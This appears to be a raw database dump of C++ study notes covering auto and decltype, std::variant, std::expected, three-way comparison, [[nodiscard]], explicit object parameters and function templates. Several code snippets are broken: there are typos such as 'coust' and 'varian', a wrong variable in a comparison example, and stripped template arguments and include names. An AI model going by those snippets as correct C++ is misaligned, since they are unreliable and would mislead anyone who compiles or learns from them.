auto upper = [](char const c) { return toupper(c); };\n auto add = [](auto const a, auto const b) { return a + b; }; text txt 2024-07-28 09:47:05.73943 -655 288 template\n auto apply(F&& f, T value)\n {\n return f(value);\n }\n} text txt 2024-07-28 09:47:05.760336 -656 288 class foo\n{\n int _x;\npublic:\n foo(int const x = 0): _x{x} {}\n int& get() { return _x; }\n}; text txt 2024-07-28 09:47:05.781168 -657 288 decltype(auto) proxy_gen(foo& f) { return f.get(); }\n// ^__ decltype() preserves cv-ref qualification of return type code txt 2024-07-28 09:47:05.801966 -658 289 Initialization of `auto` always decays. This also applies to return\nvalues when the return type is just `auto`. text txt 2024-07-28 09:47:06.201144 -659 289 int i = 42;\nint coust& ir = i;\nauto a = ir; // a is declared as new object of type int code txt 2024-07-28 09:47:06.221279 -660 290 * Only by C++20 structured bindings can include `static` or `thread_local`\n specifiers in the declaration.\n* Only by C++20 `[[maybe_unused]]` attribute can be used in the declaration.\n* Only by C++20 a lambda can capture structure binding identifiers. text txt 2024-07-28 09:47:06.807831 -661 290 #include \n#include text txt 2024-07-28 09:47:06.829573 -662 290 int main()\n{\n std::set numbers; text txt 2024-07-28 09:47:06.850677 -663 290 if (auto const [iter, inserted] = numbers.insert(1); inserted)\n std::cout << std::distance(numbers.cbegin(), iter);\n} code txt 2024-07-28 09:47:06.872307 -664 291 typedef unsigned long positive_t; code txt 2024-07-28 09:47:07.149927 -665 292 #include text txt 2024-07-28 09:47:07.674437 -666 292 using byte = std::bitset<8>;\nusing fn = void(byte, double);\nusing fn_ptr = void(*)(byte, double); text txt 2024-07-28 09:47:07.694657 -667 292 void func(byte b, double d) { /* ... */ } text txt 2024-07-28 09:47:07.715147 -668 292 int main()\n{\n byte b{001101001};\n fn* f = func;\n fn_ptr fp = func;\n} code txt 2024-07-28 09:47:07.737104 -669 293 Scoped enumerations do not export their enumerators to the surrounding scope. text txt 2024-07-28 09:47:08.366138 -670 293 Scoped enumerations have an underlying type so they can be forward declared. text txt 2024-07-28 09:47:08.387321 -671 293 Values of scoped enumerations do not convert implicitly to int. text txt 2024-07-28 09:47:08.40869 -672 293 enum class status: unsigned int; // forward declared text txt 2024-07-28 09:47:08.430493 -673 293 status do_something(); // function declaration/prototype text txt 2024-07-28 09:47:08.451522 -674 293 enum class status : unsigned int\n{\n success = 0,\n failed = 1,\n unknown = 0xffff0000U\n}; text txt 2024-07-28 09:47:08.471884 -675 293 status do_something() { return status::success; } code txt 2024-07-28 09:47:08.492072 -676 294 #include text txt 2024-07-28 09:47:09.152323 -677 294 enum class status : unsigned int\n{\n success = 0,\n failure = 1,\n unknown = 0xffff0000U\n}; text txt 2024-07-28 09:47:09.173609 -678 294 std::string_view to_string(status const s)\n{\n switch (s)\n {\n using enum status;\n case success: return "success";\n case failure: return "failure";\n case unknown: return "unknown";\n }\n} code txt 2024-07-28 09:47:09.194473 -679 295 `std::variant` is the C++17 type-safe alternative to union which supports\nnon-trivial custom types. text txt 2024-07-28 09:47:09.749066 -680 295 Variant is never empty. Without arguments, it default constructs the first\ntype. text txt 2024-07-28 09:47:09.769924 -681 295 #include \n#include text txt 2024-07-28 09:47:09.789939 -682 295 std::variant v{"some characters"};\nbool x = std::holds_alternative(v);\n// x == true code txt 2024-07-28 09:47:09.811138 -683 296 Assignment sets the variant type: text txt 2024-07-28 09:47:10.202264 -684 296 #include \n#include text txt 2024-07-28 09:47:10.223004 -685 296 std::variant v;\nv = 10; code txt 2024-07-28 09:47:10.243609 -686 297 Elements can be extracted by type or index; however, only the active type can\nbe accessed. text txt 2024-07-28 09:47:10.961927 -687 297 #include \n#include text txt 2024-07-28 09:47:10.981034 -688 297 std::variant v{10};\nint number; text txt 2024-07-28 09:47:11.000702 -689 297 number = std::get(v);\nnumber = std::get<0>(v); // same as above but with index code txt 2024-07-28 09:47:11.021324 -690 297 `std::variant` throws when we attempt to access the wrong type: text txt 2024-07-28 09:47:11.041431 -691 297 #include \n#include text txt 2024-07-28 09:47:11.061923 -692 297 std::variant v{10}; text txt 2024-07-28 09:47:11.081085 -693 297 double value = std::get(v);\n// throws std::bad_variant_access code txt 2024-07-28 09:47:11.102102 -694 298 When working with `std::variant`, querying the current content can become\ncumbersome. As an alternative, especially for cases when type deduction is\ninvolved, we can use the `std::visit`. text txt 2024-07-28 09:47:11.672399 -695 298 The `std::visit` requires as an argument an invocable that is compatible with\neach of the contained types. text txt 2024-07-28 09:47:11.694222 -696 298 #include \n#include \n#include text txt 2024-07-28 09:47:11.715725 -697 298 std::varian v{"sample string"}; text txt 2024-07-28 09:47:11.736179 -698 298 std::visit([](auto&& x) {\n std::cout << x << '\\\\n';\n}, v);\n// prints "sample string" code txt 2024-07-28 09:47:11.756269 -699 299 #include \n#include \n#include text txt 2024-07-28 09:47:12.563389 -700 299 std::variant v; text txt 2024-07-28 09:47:12.584956 -701 299 template\nstruct overloaded : Ts...\n{\n using Ts::operator()...;\n}; text txt 2024-07-28 09:47:12.606593 -702 299 v = 3.14; text txt 2024-07-28 09:47:12.627192 -703 299 std::visit(overloaded{\n [](int& x) {\n std::cout << "int: " << x << '\\\\n';\n },\n [](double& x) {\n std::cout << "double: " << x << '\\\\n';\n },\n [](std::string& x) {\n std::cout << "std::string: " << x << '\\\\n';\n }\n}, v);\n// prints "double: 3.14" code txt 2024-07-28 09:47:12.649606 -704 300 The `std::expected` (C++23) comes with a monadic interface. Relying on the\nmonadic interface prevents the typical if-then-else verbose error checking.\nThe `and_then()` and `or_else()` methods expect a callable that accepts a\nvalue/error and returns a `std::expected`. The `transform` and\n`transform_error` methods expect a callable that accepts a value/error and\nreturns a value/error. text txt 2024-07-28 09:47:13.477597 -705 300 #include \n#include \n#include text txt 2024-07-28 09:47:13.49908 -706 300 std::expected read_input();\nstd::expected to_int(const std::string& s);\nint increase(int v);\nstd::expected log_error(const std::error_condition& err); text txt 2024-07-28 09:47:13.521109 -774 306 bool operator==(int i, MyType const& t)\n{\n return t == MyType{i};\n // doesn't try operator==(i, t) causing infinit recursion\n // only uses t.operator(MyType{i});\n} code txt 2024-07-28 09:47:22.941101 -778 307 enum item_size { small, medium, large }; text txt 2024-07-28 09:47:23.858658 -707 300 auto result = read_input()\n .and_then(to_int) // invoked if the expected contains a value\n // the callable has to return a std::expected, but can change\n // the type: std::expected -> std::expected\n .transform(increase) // invoked if the expected contains a value\n // the callable can return any type\n // std::expected -> std::expected\n .or_else(log_error); // invoked if the expected contains an error\n // the callable has to return a std::expected, but can change\n // the type: std::expected -> std::expected code txt 2024-07-28 09:47:13.544485 -708 301 Before C++20 you had to define six operators for a type to provide full\nsupport for all possible comparisons of its objects. The problem is that even\nthough most of the operators are defined in terms of either `operator ==` or\n`operator <`, the definitions are tedious and they add a lot of visual\nclutter. text txt 2024-07-28 09:47:15.457053 -709 301 class Value\n{\n long id; text txt 2024-07-28 09:47:15.47816 -710 301 public:\n bool operator==(Value const& rhs) const { return id == rhs.id; }\n bool operator!=(Value const& rhs) const { return !(*this == rhs); }\n bool operator< (Value const& rhs) const { return id < rhs.id; }\n bool operator<=(Value const& rhs) const { return !(*this < rhs); }\n bool operator> (Value const& rhs) const { return rhs < *this; }\n bool operator>=(Value const& rhs) const { return !(rhs < *this); }\n}; code txt 2024-07-28 09:47:15.500633 -711 301 In addition, for a well implemented type, you might need: text txt 2024-07-28 09:47:15.521732 -712 301 - Declare the operators with `noexcept` if they cannot throw.\n- Declare the operators with `constexpr` if they can be used at compile time.\n- Declare the operators as hidden friends (declare them with `friend` inside\n the class structure so that both operands become parameters and support\n implicit conversions if the constructors are not `explicit`).\n- Declare the operators with `[[nodiscard]]` to warn if the return value is\n not used. text txt 2024-07-28 09:47:15.545241 -713 301 class Value\n{\n long id; text txt 2024-07-28 09:47:15.566017 -714 301 public:\n [[nodiscard]] friend constexpr bool operator==(Value const& lhs, Value const& rhs) noexcept { return lhs.id == rhs.id; }\n [[nodiscard]] friend constexpr bool operator!=(Value const& lhs, Value const& rhs) noexcept { return !(lhs == rhs); }\n [[nodiscard]] friend constexpr bool operator< (Value const& lhs, Value const& rhs) noexcept { return lhs.id < rhs.id; }\n [[nodiscard]] friend constexpr bool operator<=(Value const& lhs, Value const& rhs) noexcept { return !(lhs < rhs); }\n [[nodiscard]] friend constexpr bool operator> (Value const& lhs, Value const& rhs) noexcept { return rhs < lhs; }\n [[nodiscard]] friend constexpr bool operator>=(Value const& lhs, Value const& rhs) noexcept { return !(rhs < lhs); }\n}; code txt 2024-07-28 09:47:15.587697 -715 301 Since C++20 `operator ==` also implies `operator !=`, therefore, for `a` of\ntype `TypeA` and `b` of `TypeB`, the compiler will be able to compile `a !=\nb` if there is: text txt 2024-07-28 09:47:15.608539 -716 301 - a freestanding `operator !=(TypeA, TypeB)`\n- a freestanding `operator ==(TypeA, TypeB)`\n- a freestanding `operator ==(TypeB, TypeA)`\n- a member function `TypeA::operator!=(TypeB)`\n- a member function `TypeA::operator==(TypeB)`\n- a member function `TypeB::operator==(TypeA)` text txt 2024-07-28 09:47:15.629665 -717 301 Having both a freestanding and a member function is an ambiguity error. text txt 2024-07-28 09:47:15.649983 -718 301 Since C++20 it is enough to declare `operator <=>` with `=default` so that\nthe defaulted member `operator <=>` generates a corresponding member\n`operator ==`: text txt 2024-07-28 09:47:15.671329 -719 301 class Value\n{\n auto operator<=>(Value const& rhs) const = default;\n auto operator==(Value const& rhs) const = default; // implicitly generated\n}; code txt 2024-07-28 09:47:15.69261 -720 301 Both operators use their default implementation to compare objects member by\nmember. The order to the members in the class matter. text txt 2024-07-28 09:47:15.713293 -721 301 In addition, even when declaring the spaceship operator as a member function,\nthe generated operators: text txt 2024-07-28 09:47:15.733108 -722 301 - are `noexcept` if comparing the members never throws\n- are `constexpr` if comparing the members is possible at compile time\n- implicit type conversions for the first operand are also supported if a\n corresponding implicit type conversion is defined\n- may warn if the result of a comparison is not used (compiler dependent) text txt 2024-07-28 09:47:15.754684 -723 302 If the `operator <=>` for `x <= y` does not find a matching definition of\n`operator <=`, it might be rewritten as `(x <=> y) <= 0` or even `0 <= (y <=>\nx)`. By this rewriting, the `operator <=>` performs a three-way comparison,\nwhich yields a value that can be compared with 0: text txt 2024-07-28 09:47:17.027753 -724 302 - If the value of `x <=> y` compares equal to 0, `x` and `y` are equal or equivalent.\n- If the value of `x <=> y` compares less than 0, `x` is less than `y`.\n- If the value of `x <=> y` compares greater than 0, `x` is greater than `y`. text txt 2024-07-28 09:47:17.048726 -725 302 The return type of `operator <=>` is not an integral value. The return type\nis a type that signals the comparison category, which could be the *strong\nordering*, *weak ordering*, or *partial ordering*. These types support the\ncomparison with 0 to deal with the result. text txt 2024-07-28 09:47:17.068719 -726 302 You have to include a specific header file to deal with the result of\n`operator <=>`. text txt 2024-07-28 09:47:17.089688 -727 302 #include text txt 2024-07-28 09:47:17.111914 -728 302 class Value\n{\n long id; text txt 2024-07-28 09:47:17.132552 -729 302 public:\n std::strong_ordering operator<=>(Value const& rhs) const\n {\n return id < rhs.id ? std::strong_ordering::less :\n id > rhs.id ? std::strong_ordering::greater :\n std::strong_ordering::equivalent;\n }\n}; code txt 2024-07-28 09:47:17.154688 -730 302 However, it is usually easier to define the operator by mapping it to results\nof underlying types. text txt 2024-07-28 09:47:17.176903 -731 302 #include text txt 2024-07-28 09:47:17.197731 -732 302 class Value\n{\n long id; text txt 2024-07-28 09:47:17.220672 -733 302 public:\n auto operator<=>(Value const& rhs) const\n {\n return id <=> rhs.id;\n }\n}; code txt 2024-07-28 09:47:17.241901 -734 302 The member function has to take the second parameter as `const` lvalue\nreference with `=default`. A friend function might also take both parameters\nby value. text txt 2024-07-28 09:47:17.26293 -775 307 #include text txt 2024-07-28 09:47:23.793458 -776 307 class string_buffer\n{\npublic:\n explicit string_buffer() {}\n explicit string_buffer(std::size_t const size) {}\n explicit string_buffer(char const* const ptr) {}\n explicit operator bool() const { return false; }\n explicit operator char* const () const { return nullptr; }\n}; text txt 2024-07-28 09:47:23.81553 -777 307 int main()\n{\n std::shared_ptr str;\n string_buffer b1; // calls string_buffer()\n string_buffer b2(20); // calls string_buffer(std::size_t const)\n string_buffer b3(str.get()); // calls string_buffer(char const*) text txt 2024-07-28 09:47:23.837453 -876 339 Because the member `type` is a type, you have to qualify the expression with\n`typename` to access it. text txt 2024-07-28 09:47:40.532613 -2007 594 code txt 2024-07-28 09:50:43.797516 -735 303 - **strong ordering**: any value of a given type is either *less than* or\n *equal to* or *greater than* any other value of this type. If a value is\n neither less nor greater is has to be equal.\n + `std::strong_ordering:less`\n + `std::strong_ordering:equal` or `std::strong_ordering::equivalent`\n + `std::strong_ordering:greater`\n- **weak ordering**: any value of a given type is either *less than*,\n *equivalent to* or *greater than* any other value of this type. However,\n equivalent values do not have to be equal (have the same value).\n + `std::weak_ordering::less`\n + `std::weak_ordering::equivalent`\n + `std::weak_ordering::greater`\n- **partial ordering**: any value of a given type could either be *less\n than*, *equivalent to* or *greater than* any other value of this type.\n However it could also happen that you cannot specify a specific order\n between two values.\n + `std::partial_ordering::less`\n + `std::partial_ordering::equivalent`\n + `std::partial_ordering::greater`\n + `std::partial_ordering::unordered` text txt 2024-07-28 09:47:18.152098 -736 303 As an example, a floating-point type has a special value `NaN`. Any\ncomparison with `NaN` yields `false`. So in this case a comparison might\nyield that two values are unordered and the comparison operator might return\none of four values. text txt 2024-07-28 09:47:18.173146 -737 303 Stronger comparison types have implicit type conversions to weaker comparison\ntypes. text txt 2024-07-28 09:47:18.19262 -738 303 Relational comparison with `nullptr` results compiler error. text txt 2024-07-28 09:47:18.212835 -739 303 Comparison types themselves can be compared against a specific return value.\nDue to implicit type conversions to weaker ordering types `x <=> y ==\nstd::partial_ordering::equivalent` will compile even if the `operator <=>`\nyields a `std::strong_ordering` or `std::weak_ordering` value. However, the\nother way around does not work. Comparison with 0 is always possible and\nusually easier. text txt 2024-07-28 09:47:18.233993 -740 304 The return type does not compile if the attributes have different comparison\ncategories. In that case use the weakest comparison type as the return type. text txt 2024-07-28 09:47:19.383515 -741 304 #include \n#include text txt 2024-07-28 09:47:19.404413 -742 304 class Person\n{\n std::string name;\n double weight; text txt 2024-07-28 09:47:19.426243 -743 304 public:\n std::partial_ordering operator<=>(Person const& rhs) const\n {\n auto cmp1 = name <=> rhs.name;\n if (name != 0) return cmp1; // std::strong_ordering text txt 2024-07-28 09:47:19.44602 -744 304 return weight <=> rhs.weight; // std::partial_ordering\n }\n}; code txt 2024-07-28 09:47:19.466384 -745 304 If you do not know the comparison types, use\n`std::common_comparison_category<>` type trait that computes the strongest\ncomparison category. text txt 2024-07-28 09:47:19.485991 -746 304 #include \n#include text txt 2024-07-28 09:47:19.506752 -747 304 class Person\n{\n std::string name;\n double weight; text txt 2024-07-28 09:47:19.527659 -748 304 public:\n auto operator<=>(Person const& rhs) const\n -> std::common_comparison_category_t rhs.name),\n decltype(weight <=> rhs.name)>\n {\n auto cmp1 = name <=> rhs.name;\n if (name != 0) return cmp1; // std::strong_ordering text txt 2024-07-28 09:47:19.549814 -749 304 return weight <=> rhs.weight; // std::partial_ordering\n }\n}; code txt 2024-07-28 09:47:19.570064 -750 305 If `operator <=>` is defaulted and the object has a base class having the\n`operator <=>` defined, that operator is called. Otherwise, `operator ==` and\n`operator <` are called to decide whether the objects are `equivalent`,\n`less`, `greater` or `unordered`. In that case, the return type of the\ndefaulted `operator <=>` calling these operators cannot be `auto`. text txt 2024-07-28 09:47:21.056492 -751 305 struct Base\n{\n bool operator==(Base const&) const;\n bool operator<(Base const&) const;\n}; text txt 2024-07-28 09:47:21.077294 -752 305 struct Derived: public Base\n{\n std::strong_ordering operator<=>(Derived const&) const = default;\n}; text txt 2024-07-28 09:47:21.099105 -753 305 Derived d1, d2;\nd1 > d2; // calls Base::operator== and Base::operator< code txt 2024-07-28 09:47:21.119488 -754 305 If `operator ==` yields true, we know that the result of `>` is `false`,\notherwise `operator <` is called to find out the expression is `true` or\n`false`. text txt 2024-07-28 09:47:21.140545 -755 305 struct Derived: public Base\n{\n std::partial_ordering operator<=>(Derived const&) const = default;\n}; code txt 2024-07-28 09:47:21.160939 -756 305 The compiler might call `operator <` twice to find out whether there is any\norder at all. text txt 2024-07-28 09:47:21.18186 -757 305 struct Base\n{\n bool operator==(Base const&) const;\n bool operator<(Base const&) const;\n}; text txt 2024-07-28 09:47:21.201853 -758 305 struct Derived: public Base\n{\n auto operator<=>(Derived const&) const = default;\n}; code txt 2024-07-28 09:47:21.221789 -759 305 The compiler does not compile because it cannot decide which ordering\ncategory the base class has. text txt 2024-07-28 09:47:21.242912 -760 305 Checks for equality work for Derived because `operator ==` automatically\ndeclared equivalent to `operator <=>`: text txt 2024-07-28 09:47:21.26387 -761 305 struct Derived: public Base\n{\n auto operator<=>(Derived const&) const = default;\n bool operator==(Derived const&) const = default;\n}; text txt 2024-07-28 09:47:21.284773 -762 305 Derived d1, d2;\nd1 > d2; // ERROR: cannot deduce comparison category of operator <=>\nd1 == d2; // OK: only tries operator <=> and Base::operator== code txt 2024-07-28 09:47:21.305098 -763 306 When we have a trivial class that stores an integral value and has an\nimplicit constructor only enable implicit type conversions for the second\noperand. text txt 2024-07-28 09:47:22.703969 -764 306 class MyType\n{\n int i; text txt 2024-07-28 09:47:22.724781 -765 306 public:\n // implicit constructor from int\n MyType(int i); text txt 2024-07-28 09:47:22.745414 -766 306 // before C++20 enables implicit conversion for the second operand\n bool operator==(MyType const&) const;\n}; code txt 2024-07-28 09:47:22.766443 -767 306 A freestanding `operator==` that swaps the order of the arguments might be\ndefined as well. text txt 2024-07-28 09:47:22.787989 -768 306 bool operator==(int i, MyType const& t)\n{\n return t == i; // OK with C++17\n} code txt 2024-07-28 09:47:22.810856 -769 306 Usually, the class should better define the `operator ==` as **hidden\nfriend** which is declared as a `friend` inside the class so that both\noperators become parameters and support implicit type conversions. However,\nthis is a valid approach to have the same effect. text txt 2024-07-28 09:47:22.833564 -770 306 This code no longer works in C++20 due to endless recursion. The reason is\nthat inside the global function the expression `t == i` can also call the\nglobal `operator ==` itself, because the compiler also tries to rewrite the\ncall as `i == t`: text txt 2024-07-28 09:47:22.856012 -771 306 bool operator==(int i, MyType const& t)\n{\n return t == i;\n // tries operator==(i, t) in addition to t.operator(MyType{i})\n} code txt 2024-07-28 09:47:22.877836 -772 306 Unfortunately, the rewritten statement is a better match, because it does not\nneed the implicit type conversion. text txt 2024-07-28 09:47:22.90029 -773 306 To fix this defect, either use an explicit conversion, or a feature test\nmacro to disable the new feature. text txt 2024-07-28 09:47:22.920434 -779 307 // implicit conversion cases when explicit not specified\n string_buffer b4 = 'a'; // would call string_buffer(std::size_t const)\n string_buffer b5 = small; // would call string_buffer(std::size_t const)\n} code txt 2024-07-28 09:47:23.878997 -780 308 struct base\n{\n // default member initialization\n const int height = 14;\n const int width = 80; text txt 2024-07-28 09:47:24.525655 -781 308 v_align valign = v_align::middle;\n h_align halign = h_align::left; text txt 2024-07-28 09:47:24.546731 -782 308 std::string text; text txt 2024-07-28 09:47:24.568315 -783 308 // constructor initialization list\n base(std::string const& t): text{t}\n {} text txt 2024-07-28 09:47:24.589622 -784 308 base(std::string const& t, v_align const va, h_align const ha): text{t}, valign{va}, halign{ha}\n {}\n}; code txt 2024-07-28 09:47:24.610277 -785 309 [[nodiscard]] bool completed(); code txt 2024-07-28 09:47:24.905949 -786 310 [[nodiscard("lock objects should never be discarded")]] bool generated(); code txt 2024-07-28 09:47:25.165387 -787 311 auto l = [] [[nodiscard]] () -> int { return 42; };\nl(); // warning here code txt 2024-07-28 09:47:25.46244 -788 312 struct [[nodiscard]] ErrorType{};\nErrorType get_value(); text txt 2024-07-28 09:47:25.85528 -789 312 int main()\n{\n get_value(); // warning here\n} code txt 2024-07-28 09:47:25.876479 -790 313 *C++20*\nstruct Holder\n{\n [[nodiscard]] Holder(int value);\n Holder();\n}; text txt 2024-07-28 09:47:26.38376 -791 313 int main()\n{\n Holder{42}; // warning here\n Holder h{42}; // constructed object not discarded, no warning\n Holder{}; // default constructed, no warning\n} code txt 2024-07-28 09:47:26.404699 -792 314 Using 4 overloads for all possible combinations of ref-quilified methods is\ncode dupliation. text txt 2024-07-28 09:47:27.272446 -793 314 class box\n{\npublic:\n box(std::string label): m_label{std::move(label)} {}\n std::string& label() & { return m_label; }\n std::string const& label() const& { return m_label; }\n std::string&& label() && { return std::move(m_label); }\n std::string const&& label() const&& { return std::move(m_label); }\nprivate:\n std::string m_label;\n}; code txt 2024-07-28 09:47:27.292953 -794 314 Since C++23 we can replace all 4 overloads with one: text txt 2024-07-28 09:47:27.31374 -795 314 class box\n{\npublic:\n box(std::string label): m_label(std::move(label)} {}\n template auto&& label(this S&& self)\n {\n return std::forward(self).m_label;\n }\n}; code txt 2024-07-28 09:47:27.333542 -796 315 C++23 allows you to write ref-qualified members differently: text txt 2024-07-28 09:47:27.863673 -797 315 void f() &;\nvoid g() const&;\nvoid h() &&; code txt 2024-07-28 09:47:27.884399 -798 315 Instead: text txt 2024-07-28 09:47:27.904514 -799 315 void f(this Data&);\nvoid g(this Data const&);\nvoid h(this Data&&); code txt 2024-07-28 09:47:27.925798 -800 316 C++23 allows for recursive lambda expressions. text txt 2024-07-28 09:47:28.357528 -801 316 `this` in a lambda accesses the object that contains the lambda, not the\nlambda instance itself. text txt 2024-07-28 09:47:28.380478 -802 316 auto fibonacci = [](this auto self, int n)\n{\n if (n < 2) { return n; }\n return self(n - 1) + self(n - 2);\n}; code txt 2024-07-28 09:47:28.401164 -803 317 1. You implement the same behavior repeatedly for each different types, you\n make the same mistakes.\n2. You write general code for a common base type such as `void*`, you lose\n type checking and lose the control of maitaining derived classes.\n3. You use special preprocessors, code is replaced by stupid text replacement\n mechanism that has no idea of scope and types. text txt 2024-07-28 09:47:28.70298 -804 319 Historically, `class` keyword can be used instead of `typename`. However,\nbecause this use of `class` can be misleading, you should prefer the use of\n`typename`. The keyword `struct` cannot be used in place of `typename` when\ndeclaring type parameters. text txt 2024-07-28 09:47:29.516711 -805 319 - Without instantiation at definition time, the template code itself is\n checked for correctness ignoring the template parameters.\n + Syntax errors are discovered, such as missing semicolons.\n + Using unknown names that don't depend on template parameters are\n discovered.\n + Static assertions that don't depend on template parameters are checked.\n- At instantiation time, the template code is checked again to ensure that\n all code is valid. Especially, all parts that depend on template parameters\n are double-checked. text txt 2024-07-28 09:47:29.538909 -806 319 template\nvoid foo(T t)\n{\n undeclared(); // first-stage compile-time error\n undeclared(t); // second-stage compile-time error\n} code txt 2024-07-28 09:47:29.559317 -807 320 When a function template is used in a way that triggers its instantiation, a\ncompiler at some point will need to see that template's definition. This\nbreaks the usual compile and link distinction for ordinary functions, when\nthe declaration of a function is sufficient to compile its use. The simplest\napproach to handle this problem is to implement each template inside a header\nfile. text txt 2024-07-28 09:47:29.901985 -808 321 Function template defintion specifies a family of functions with parameters\nleft undetermined, parameterized as template parameters. text txt 2024-07-28 09:47:30.342588 -809 321 template\nT max(T a, T b)\n{\n return b < a ? a : b;\n} code txt 2024-07-28 09:47:30.364146 -810 322 * You can use any type, as long as the it provides the operations that the\n template uses.\n* Value of type `T` must also be copyable in order to be returned.\n* Before C++17, type `T` also had to be copyable to be able to pass in\n arguments, but since C++17 you can pass rvalues even if neither a copy nor\n a move constructor is valid. text txt 2024-07-28 09:47:30.691335 -811 323 #include text txt 2024-07-28 09:47:31.164224 -812 323 void print_container(auto const& container)\n{\n for (auto const& element: container)\n {\n std::cout << element << '\\\\n';\n }\n} code txt 2024-07-28 09:47:31.185452 -813 324 template\nT max(T a, T b) { return b < a ? a : b; } text txt 2024-07-28 09:47:31.620824 -814 324 max(7, 42); // 42\n::max(3.4, -6.7); // 3.4\n::max("mathematics", "math"); // mathematics code txt 2024-07-28 09:47:31.641573 -815 324 Each call to `max()` template is qualified with `::` to ensure template is\nfound in the global namespace, not possibly the one in `std` namespace. text txt 2024-07-28 09:47:31.66199 -816 325 When we call a function template, the template parameters are determined by\nthe arguments we pass. However, template parameters might only be part of the\narguments type. text txt 2024-07-28 09:47:32.197384 -817 325 If we declare a function template to use constant references as function\narguments, and pass `int`, template parameter is deduced as `int`, because\nthe parameters match for `int const&`. text txt 2024-07-28 09:47:32.219105 -818 325 template\nT max(T const& a, T const& b) { return a < b ? b : a; } text txt 2024-07-28 09:47:32.241003 -819 325 max(7, 42); // T is int code txt 2024-07-28 09:47:32.260583 -875 339 template\nauto max(T1 a, T2 b) -> typename std::decay::type; code txt 2024-07-28 09:47:40.511166 -877 339 Initialization of `auto` always decays. This also applies to return\nvalues when the return type is just `auto`. text txt 2024-07-28 09:47:40.552593 -1245 409 #include \n#include text txt 2024-07-28 09:48:42.274321 -820 326 - When declaring call parameters by reference, even trivial conversion do not\n apply to type dedution. Two arguments declared with the same template\n parameter `T` must match exactly.\n- When declaring call parameters by value, only trivial conversion that decay\n are supported. Qualifications with `const` or `volatile` are ignored,\n references convert to the referenced type, and raw arrays or functions\n convert to the corresponding pointer type. For two arguments declared with\n the same template parameter `T` the decayed types must match. text txt 2024-07-28 09:47:33.045139 -821 326 template\nT max(T a, T b) { return a < b ? b : a; } text txt 2024-07-28 09:47:33.065415 -822 326 int const c = 42;\nmax(i, c); // OK: T deduced as int\nmax(c, c); // OK: T deduced as int text txt 2024-07-28 09:47:33.0875 -823 326 int& ir = i;\nmax(i, ir); // OK: T deduced as int text txt 2024-07-28 09:47:33.108451 -824 326 int arr[4];\nmax(&i, arr); // OK: T deduced as int* text txt 2024-07-28 09:47:33.128787 -825 326 max(4, 7.2); // ERROR: T can be dudeced as int or double text txt 2024-07-28 09:47:33.148759 -826 326 std::string s;\nmax("text", s); // ERROR: T can be deduced as char const[5] or std::string code txt 2024-07-28 09:47:33.168817 -827 327 1. Cast the arguments so that they both match: text txt 2024-07-28 09:47:33.875424 -828 327 max(static_cast(4), 7.2); code txt 2024-07-28 09:47:33.89607 -829 327 2. Specify explicitly the type of function template parameter to prevent the compiler from attempting type deduction: text txt 2024-07-28 09:47:33.91743 -830 327 max(4, 7.2); code txt 2024-07-28 09:47:33.936353 -831 327 3. Specify that the parameters may have different types: text txt 2024-07-28 09:47:33.956145 -832 327 #include text txt 2024-07-28 09:47:33.975783 -833 327 template\nauto max(T a, R b) -> std::common_type_t\n{\n return a < b ? b : a;\n} text txt 2024-07-28 09:47:33.995919 -834 327 max(4, 7.2); code txt 2024-07-28 09:47:34.016412 -835 328 Type deduction does not work for default call arguments. text txt 2024-07-28 09:47:34.601937 -836 328 template\nvoid f(T = ""); text txt 2024-07-28 09:47:34.622997 -837 328 f(1); // OK: f(1)\nf(); // ERROR: cannot deduce T code txt 2024-07-28 09:47:34.644916 -838 328 You have to declare a default function template parameter. text txt 2024-07-28 09:47:34.665908 -839 328 template\nvoid f(T = ""); text txt 2024-07-28 09:47:34.685755 -840 328 f(); // OK: f() code txt 2024-07-28 09:47:34.706834 -841 329 template\nT1 max(T1 a, T2 b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 09:47:35.110975 -842 329 auto m = ::max(4, 7.2); // OK:: but max returns int code txt 2024-07-28 09:47:35.13075 -843 330 - Introduce an additional template parameter for the return type\n- Let the compiler find out the return type.\n- Declare the return type to be the common type of the parameter types. text txt 2024-07-28 09:47:35.404916 -844 331 In cases when there is no connection between template and call parameters and\nwhen template parameters cannot be determined, you must specify the template\nargument explicitly with the call. For example, the additional template\nargument type to define the return type of a function template. However,\ntemplate argument deduction does not take return types into account, and its\ntemplate parameter does not appear in the types of the function call\nparameters. Therefore, it cannot be deduced. text txt 2024-07-28 09:47:36.145632 -845 331 As a consequence, you have to specify the template argument list explicitly: text txt 2024-07-28 09:47:36.166621 -846 331 template\nRT max(T1 a, T2 b); text txt 2024-07-28 09:47:36.186722 -847 331 max(4, 7.2); // OK, but tedious code txt 2024-07-28 09:47:36.206464 -848 331 Another approach is to specify return type template parameter at first: text txt 2024-07-28 09:47:36.22766 -849 331 template \nRT max(T1 a, T2 b); text txt 2024-07-28 09:47:36.247489 -850 331 max(4, 7.2); // OK code txt 2024-07-28 09:47:36.267593 -851 331 These modifications don't lead to significant advantages. text txt 2024-07-28 09:47:36.28841 -852 332 - Types for constant integral values (int, long, enum, ...)\n- `std::nullptr_t`\n- Pointers to be globally visible objects/function/members\n- Lvalue references to objects or functions\n- Floating point types (C++20)\n- Data structures with public members (C++20)\n- Lambdas (C++20) text txt 2024-07-28 09:47:36.799559 -853 332 **Not supporting types:** text txt 2024-07-28 09:47:36.820307 -854 332 - String literals\n- Classes text txt 2024-07-28 09:47:36.841611 -855 332 code txt 2024-07-28 09:47:36.860706 -856 333 #include \n#include \n#include \n#include text txt 2024-07-28 09:47:37.478747 -857 333 template typename V, typename T>\nvoid print(V const& container)\n{\n for (auto const& item: container)\n std::cout << item << " ";\n std::cout << std::endl;\n} text txt 2024-07-28 09:47:37.500584 -858 333 int main()\n{\n print(std::vector{1,2,3,4});\n} code txt 2024-07-28 09:47:37.522447 -859 334 It is a template parameter representing multiple parameters with different types. text txt 2024-07-28 09:47:37.983517 -860 334 void print() { } text txt 2024-07-28 09:47:38.00519 -861 334 template\nvoid print(T first, Types... rest)\n{\n std::cout << first << '\\\\n';\n print(rest...);\n} code txt 2024-07-28 09:47:38.026288 -862 335 void num_args() { } text txt 2024-07-28 09:47:38.419471 -863 335 template\nvoid num_args(T first, Types... rest)\n{\n std::cout << sizeof...(rest) + 1 << '\\\\n';\n} code txt 2024-07-28 09:47:38.439944 -864 336 Parameter pack is available since C++17: text txt 2024-07-28 09:47:38.866103 -865 336 template\nauto print(Args... args)\n{\n (std::cout << ... << args) << std::endl;\n} text txt 2024-07-28 09:47:38.886169 -866 336 print(42, "42", 42.0); code txt 2024-07-28 09:47:38.906543 -867 337 Since C++14, this is possible by 